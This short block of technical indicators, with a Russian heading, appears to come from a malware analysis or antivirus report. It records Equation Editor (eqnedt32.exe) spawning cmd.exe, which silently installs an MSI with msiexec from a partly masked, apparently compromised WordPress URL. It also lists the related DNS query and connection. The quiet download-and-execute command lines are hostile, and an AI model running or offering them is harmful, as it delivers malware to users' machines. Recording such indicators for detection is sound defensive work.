Техническая информация
- '%WINDIR%\syswow64\cmd.exe' & /C CD C: & msiexec.exe /i http://ma###ings.com/wp-includes/js/tinymce/plugins/wpautoresize/l/fem.msi /quiet
- 'ma###ings.com':80
- http://ma###ings.com/wp-includes/js/tinymce/plugins/wpautoresize/l/fem.msi
- DNS ASK ma###ings.com
- '%WINDIR%\syswow64\cmd.exe' & /C CD C: & msiexec.exe /i http://ma###ings.com/wp-includes/js/tinymce/plugins/wpautoresize/l/fem.msi /quiet' (со скрытым окном)
- '%CommonProgramFiles%\microsoft shared\equation\eqnedt32.exe' -Embedding
- '%WINDIR%\syswow64\msiexec.exe' /i http://ma###ings.com/wp-includes/js/tinymce/plugins/wpautoresize/l/fem.msi /quiet